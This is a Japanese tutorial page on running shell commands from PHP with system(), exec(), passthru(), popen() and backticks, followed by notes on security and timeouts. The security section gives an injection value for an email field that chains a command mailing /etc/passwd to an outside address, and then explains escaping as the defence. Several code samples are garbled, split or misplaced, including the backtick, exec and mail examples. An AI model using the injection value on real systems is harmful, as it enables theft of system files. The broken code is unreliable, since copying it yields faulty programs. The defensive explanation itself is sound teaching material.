ホームページ  >  記事  >  バックエンド開発  >  PHP関数system|exec|passthruの使い方を詳しく解説

PHP関数system|exec|passthruの使い方を詳しく解説

WBOY
WBOYオリジナル
2016-07-25 08:53:381336ブラウズ
  1. system("/usr/local/bin/webalizer/webalizer");
コードをコピー

exec() プロトタイプ: string exec (string command [, string array [, int return_var]]) exec () 関数は system () に似ており、指定されたコマンドも実行しますが、結果は出力せず、結果の最後の行を返します。コマンド結果の最後の行のみを返しますが、2 番目のパラメーター配列を使用すると、配列の最後に結果を 1 行ずつ追加することで完全な結果を取得できます。したがって、配列が空でない場合は、呼び出す前に unset() を使用して配列をクリアするのが最善です。第3パラメータは第2パラメータを指定した場合のみ、コマンド実行時のステータスコードを取得できます。 例:

  1. exec("/bin/ls -l");
  2. exec("/bin/ls -l", $res, $); rc);
コードをコピー
passthru() プロトタイプ: void passthru (string command [, int return_var]) passthru()はコマンドを呼び出すだけで結果は返さず、コマンドの実行結果をそのまま標準出力装置に直接出力します。したがって、 passthru() 関数は、pbmplus (元の画像のバイナリ ストリームを出力する、Unix で画像を処理するツール) のようなプログラムを呼び出すためによく使用されます。コマンド実行時のステータスコードも取得できます。 例:

    header("content-type: image/gif");
  1. passthru("./ppmtogif Hunte.ppm");
コードをコピー
2) Popen() でプロセスを開きます。関数 上記のメソッドは単にコマンドを実行することしかできませんが、コマンドと対話することはできません。ただし、コマンドに何かを入力する必要がある場合があります。たとえば、Linux システム ユーザーを追加する場合、su を呼び出して現在のユーザーを root に変更する必要があり、su コマンドはコマンド ラインに root パスワードを入力する必要があります。この場合、明らかに上記の方法を使用することはできません。 Popen() 関数は、プロセス パイプを開いて指定されたコマンドを実行し、ファイル ハンドルを返します。ファイルハンドルが返されるので、読み書きが可能です。 php3 では、この種のハンドルは書き込みまたは読み取りの 1 つのモードでのみ操作できますが、php4 以降は読み取りと書き込みを同時に行うことができます。ハンドルが 1 つのモード (読み取りまたは書き込み) で開かれていない限り、ハンドルを閉じるには pclose() 関数を呼び出す必要があります。 例 1:

    $fp=popen("/bin/ls -l", "r");
コードをコピー
例 2

    /* PHP でシステム ユーザーを追加する方法
  1. 以下は、james という名前のユーザーを追加するルーチンです。
  2. root パスワードは非常に良いです。参考のみ
  3. */
  4. $sucommand = "su --login root --command";
  5. $useradd = "useradd ";
  6. $user = "james"; ("%s "%s %s"",$sucommand,$useradd,$user);
  7. $fp = @popen($user_add,"w"); pclose($fp);
  8. ?>
  9. コードをコピー
  10. 3) バックティック (`、つまり、キーボードの Esc キーの下にあるもの、~ と同じ) を使用します。 このメソッドはこれまで PHP ドキュメントに記載されておらず、秘密のテクニックとして存在しています。方法は非常に簡単です。実行するコマンドを 2 つのバックティックで囲み、この式の値がコマンドの実行結果になります。 例えば:
$res='/bin/ls -l';

echo '

'.$res.'
';
  1. このスクリプトの出力: ハント.gif ハント.ppm jpg.htm jpg.jpg パススルー.php 何を考慮すべきでしょうか? 考慮すべき問題は 2 つあります: セキュリティとタイムアウトです。 まずは安全性を見てみましょう。たとえば、小規模なオンライン ストアを運営しており、販売可能な製品のリストがファイルに保存されているとします。ユーザーが電子メール アドレスを入力して製品のリストを送信できるフォームを含む HTML ファイルを作成します。 PHP の mail() 関数を使用したことがない (または聞いたことがない) と仮定すると、Linux/Unix システムのメール プログラムを呼び出してこのファイルを送信します。プログラムは次のようになります。 system("メール $to
  2. このコードを使用しても一般ユーザーに危険はありませんが、実際には非常に大きなセキュリティ上の脆弱性が存在します。悪意のあるユーザーが次のように電子メール アドレスを入力した場合:
'--bla ; メールsomeone@domain.com < /etc/passwd ;'

< products.txt"); echo "我们的产品目录已经发送到你的信箱:$to";

コードをコピーします

そして、このコマンドは最終的に次のようになります。 どのネットワーク管理者がこのようなコマンドを見ても、冷や汗が出ます。

php は、escapeshellcmd() とscapeshellarg() の 2 つの関数を提供します。関数escapeshellcmdは、シェルを使用せずに別のコマンドを実行するために使用される文字列内のすべての文字をエスケープします。これらの文字は、セミコロン ()、リダイレクト (>)、ファイルからの読み取り (<) など、シェル内で特別な意味を持ちます。関数escapeshellargは、コマンドのパラメータを処理するために使用されます。 指定された文字列の前後に一重引用符を追加し、文字列内の一重引用符をエスケープして、文字列をコマンド引数として安全に使用できるようにします。
    タイムアウトの問題。コマンドの実行に時間がかかる場合は、システムのバックグラウンドでコマンドを実行する必要があります。 ただし、デフォルトでは、system() などの関数はコマンドの実行が終了するまで戻りません (実際には、コマンドの出力を待つ必要があります)。これにより、間違いなく PHP スクリプトがタイムアウトになります。
  1. 解決策: コマンドの出力を別のファイルまたはストリームにリダイレクトします。 例えば:

system("/usr/local/bin/order_proc > /tmp/null &");

コードをコピー

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。